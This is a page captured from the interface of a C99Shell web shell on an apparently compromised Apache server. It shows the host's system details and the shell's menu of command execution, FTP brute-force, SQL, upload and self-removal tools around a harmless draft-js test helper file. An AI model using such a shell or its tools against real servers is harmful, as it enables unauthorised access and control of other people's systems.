!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache/2.4.41 (Ubuntu). PHP/8.0.30 

uname -a: Linux apirnd 5.4.0-204-generic #224-Ubuntu SMP Thu Dec 5 13:38:28 UTC 2024 x86_64 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/var/www/html/wincloud_gateway/node_modules/draft-js/lib/   drwxr-xr-x
Free 12.97 GB of 57.97 GB (22.37%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     getSampleSelectionMocksForTestingNestedBlocks.js (3.61 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/**
 * Copyright (c) Facebook, Inc. and its affiliates.
 *
 * This source code is licensed under the MIT license found in the
 * LICENSE file in the root directory of this source tree.
 *
 * @format
 * 
 * @emails oncall+draft_js
 */
'use strict';

var ContentBlockNode = require("./ContentBlockNode");

var ContentState = require("./ContentState");

var EditorState = require("./EditorState");

var Immutable = require("immutable");

var getSampleSelectionMocksForTestingNestedBlocks = function getSampleSelectionMocksForTestingNestedBlocks() {
  var root = document.createElement('div');
  var contents = document.createElement('div');
  contents.setAttribute('data-contents', 'true');
  root.appendChild(contents);
  var text = [null, 'beta', null, 'delta'];
  var offsetKeys = ['a-0-0', 'b-0-0', 'c-0-0', 'd-0-0'];
  var contentBlocks = [new ContentBlockNode({
    key: 'a',
    nextSibling: 'c',
    children: Immutable.List.of('b')
  }), new ContentBlockNode({
    key: 'b',
    parent: 'a',
    text: text[1]
  }), new ContentBlockNode({
    key: 'c',
    prevSibling: 'a',
    children: Immutable.List.of('d')
  }), new ContentBlockNode({
    key: 'd',
    parent: 'c',
    text: text[3]
  })];
  var contentState = ContentState.createFromBlockArray(contentBlocks);
  var editorState = EditorState.createWithContent(contentState);
  var textNodes = text.map(function (text) {
    if (!text) {
      return null;
    }

    return document.createTextNode(text);
  });
  var leafChildren = textNodes.map(function (textNode) {
    if (!textNode) {
      return null;
    }

    var span = document.createElement('span');
    span.appendChild(textNode);
    return span;
  });
  var leafs = leafChildren.map(function (leafChild, index) {
    if (!leafChild) {
      return null;
    }

    var blockKey = offsetKeys[index];
    var span = document.createElement('span');
    span.setAttribute('data-offset-key', blockKey);
    span.appendChild(leafChild);
    return span;
  });
  var decorators = leafs.map(function (leaf, index) {
    if (!leaf) {
      return null;
    }

    var blockKey = offsetKeys[index];
    var span = document.createElement('span');
    span.setAttribute('data-offset-key', blockKey);
    span.appendChild(leaf);
    return span;
  });
  var blocks = offsetKeys.map(function (blockKey, index) {
    var outerBlockElement = document.createElement('div');
    var innerBlockElement = document.createElement('div');
    innerBlockElement.setAttribute('data-offset-key', blockKey);
    outerBlockElement.setAttribute('data-offset-key', blockKey);
    outerBlockElement.setAttribute('data-block', 'true');
    var decorator = decorators[index]; // only leaf nodes can have text

    if (decorator) {
      innerBlockElement.appendChild(decorator);
    }

    outerBlockElement.appendChild(innerBlockElement);
    return outerBlockElement;
  });
  var blockCacheRef = {};
  blocks.forEach(function (blockElem, index) {
    var currentBlock = contentBlocks[index];
    var parentKey = currentBlock.getParentKey(); // add this block reference to the cache lookup ref

    blockCacheRef[currentBlock.getKey()] = blockElem; // root nodes get appended directly to the contents block

    if (!parentKey) {
      contents.appendChild(blockElem);
      return;
    } // append to to the innerBlockElement of the parent block


    blockCacheRef[parentKey].firstChild.appendChild(blockElem);
  });
  return {
    editorState: editorState,
    root: root,
    contents: contents,
    blocks: blocks,
    decorators: decorators,
    leafs: leafs,
    leafChildren: leafChildren,
    textNodes: textNodes
  };
};

module.exports = getSampleSelectionMocksForTestingNestedBlocks;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0098 ]--